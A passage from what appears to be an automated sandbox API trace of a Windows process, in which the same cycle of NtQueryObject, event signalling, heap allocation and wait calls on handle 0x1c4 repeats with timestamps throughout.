ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.283] ResetEvent (hEvent=0x110) returned 1 [0259.283] SetEvent (hEvent=0x114) returned 1 [0259.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.284] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.284] ResetEvent (hEvent=0x110) returned 1 [0259.284] SetEvent (hEvent=0x114) returned 1 [0259.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.284] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.285] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.285] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.285] ResetEvent (hEvent=0x110) returned 1 [0259.285] SetEvent (hEvent=0x114) returned 1 [0259.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.285] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.285] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.285] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.285] ResetEvent (hEvent=0x110) returned 1 [0259.285] SetEvent (hEvent=0x114) returned 1 [0259.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.285] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.286] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.286] ResetEvent (hEvent=0x110) returned 1 [0259.286] SetEvent (hEvent=0x114) returned 1 [0259.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.286] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.287] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.287] ResetEvent (hEvent=0x110) returned 1 [0259.287] SetEvent (hEvent=0x114) returned 1 [0259.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.287] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.287] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.287] ResetEvent (hEvent=0x110) returned 1 [0259.287] SetEvent (hEvent=0x114) returned 1 [0259.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.287] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.288] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.288] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.288] ResetEvent (hEvent=0x110) returned 1 [0259.288] SetEvent (hEvent=0x114) returned 1 [0259.288] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.288] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.288] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.288] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.289] ResetEvent (hEvent=0x110) returned 1 [0259.289] SetEvent (hEvent=0x114) returned 1 [0259.289] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.289] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.289] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.289] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.289] ResetEvent (hEvent=0x110) returned 1 [0259.289] SetEvent (hEvent=0x114) returned 1 [0259.289] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.289] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.290] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.290] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.290] ResetEvent (hEvent=0x110) returned 1 [0259.290] SetEvent (hEvent=0x114) returned 1 [0259.290] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.290] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.290] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.290] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.290] ResetEvent (hEvent=0x110) returned 1 [0259.290] SetEvent (hEvent=0x114) returned 1 [0259.290] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.291] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.291] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.291] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.291] ResetEvent (hEvent=0x110) returned 1 [0259.291] SetEvent (hEvent=0x114) returned 1 [0259.291] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.291] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.292] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.292] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.292] ResetEvent (hEvent=0x110) returned 1 [0259.292] SetEvent (hEvent=0x114) returned 1 [0259.292] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.292] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.292] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.292] ResetEvent (hEvent=0x110) returned 1 [0259.292] SetEvent (hEvent=0x114) returned 1 [0259.292] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.293] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.293] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.293] ResetEvent (hEvent=0x110) returned 1 [0259.293] SetEvent (hEvent=0x114) returned 1 [0259.293] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.293] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.293] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.294] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.294] ResetEvent (hEvent=0x110) returned 1 [0259.294] SetEvent (hEvent=0x114) returned 1 [0259.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.294] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.294] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.294] ResetEvent (hEvent=0x110) returned 1 [0259.294] SetEvent (hEvent=0x114) returned 1 [0259.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.295] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.295] ResetEvent (hEvent=0x110) returned 1 [0259.295] SetEvent (hEvent=0x114) returned 1 [0259.295] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.295] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.295] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.295] ResetEvent (hEvent=0x110) returned 1 [0259.296] SetEvent (hEvent=0x114) returned 1 [0259.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.296] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.296] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.296] ResetEvent (hEvent=0x110) returned 1 [0259.296] SetEvent (hEvent=0x114) returned 1 [0259.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.296] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.297] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.297] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.297] ResetEvent (hEvent=0x110) returned 1 [0259.297] SetEvent (hEvent=0x114) returned 1 [0259.297] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.297] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.298] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.298] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.298] ResetEvent (hEvent=0x110) returned 1 [0259.298] SetEvent (hEvent=0x114) returned 1 [0259.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.298] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.298] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.298] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.298] ResetEvent (hEvent=0x110) returned 1 [0259.298] SetEvent (hEvent=0x114) returned 1 [0259.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.298] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.299] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.299] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.299] ResetEvent (hEvent=0x110) returned 1 [0259.299] SetEvent (hEvent=0x114) returned 1 [0259.299] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.299] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.299] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.299] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.300] ResetEvent (hEvent=0x110) returned 1 [0259.300] SetEvent (hEvent=0x114) returned 1 [0259.300] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.300] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.300] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.300] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.300] ResetEvent (hEvent=0x110) returned 1 [0259.300] SetEvent (hEvent=0x114) returned 1 [0259.300] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.300] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.301] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.301] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.301] ResetEvent (hEvent=0x110) returned 1 [0259.301] SetEvent (hEvent=0x114) returned 1 [0259.301] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.301] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.301] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.301] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.302] ResetEvent (hEvent=0x110) returned 1 [0259.302] SetEvent (hEvent=0x114) returned 1 [0259.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.302] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.302] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.302] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.302] ResetEvent (hEvent=0x110) returned 1 [0259.302] SetEvent (hEvent=0x114) returned 1 [0259.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.302] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.303] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.303] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.303] ResetEvent (hEvent=0x110) returned 1 [0259.303] SetEvent (hEvent=0x114) returned 1 [0259.303] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.303] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.303] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.303] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.303] ResetEvent (hEvent=0x110) returned 1 [0259.303] SetEvent (hEvent=0x114) returned 1 [0259.303] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.304] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.304] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.304] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.304] ResetEvent (hEvent=0x110) returned 1 [0259.304] SetEvent (hEvent=0x114) returned 1 [0259.304] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.304] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.305] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.305] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.305] ResetEvent (hEvent=0x110) returned 1 [0259.305] SetEvent (hEvent=0x114) returned 1 [0259.305] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.305] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.305] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.305] ResetEvent (hEvent=0x110) returned 1 [0259.305] SetEvent (hEvent=0x114) returned 1 [0259.305] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.306] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.306] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.306] ResetEvent (hEvent=0x110) returned 1 [0259.306] SetEvent (hEvent=0x114) returned 1 [0259.306] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.306] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.307] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.307] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.307] ResetEvent (hEvent=0x110) returned 1 [0259.307] SetEvent (hEvent=0x114) returned 1 [0259.307] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.307] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.307] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.307] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.307] ResetEvent (hEvent=0x110) returned 1 [0259.307] SetEvent (hEvent=0x114) returned 1 [0259.307] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.307] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.308] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.308] ResetEvent (hEvent=0x110) returned 1 [0259.308] SetEvent (hEvent=0x114) returned 1 [0259.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.308] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.308] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.309] ResetEvent (hEvent=0x110) returned 1 [0259.309] SetEvent (hEvent=0x114) returned 1 [0259.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.309] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.309] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.309] ResetEvent (hEvent=0x110) returned 1 [0259.309] SetEvent (hEvent=0x114) returned 1 [0259.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.309] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.310] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, 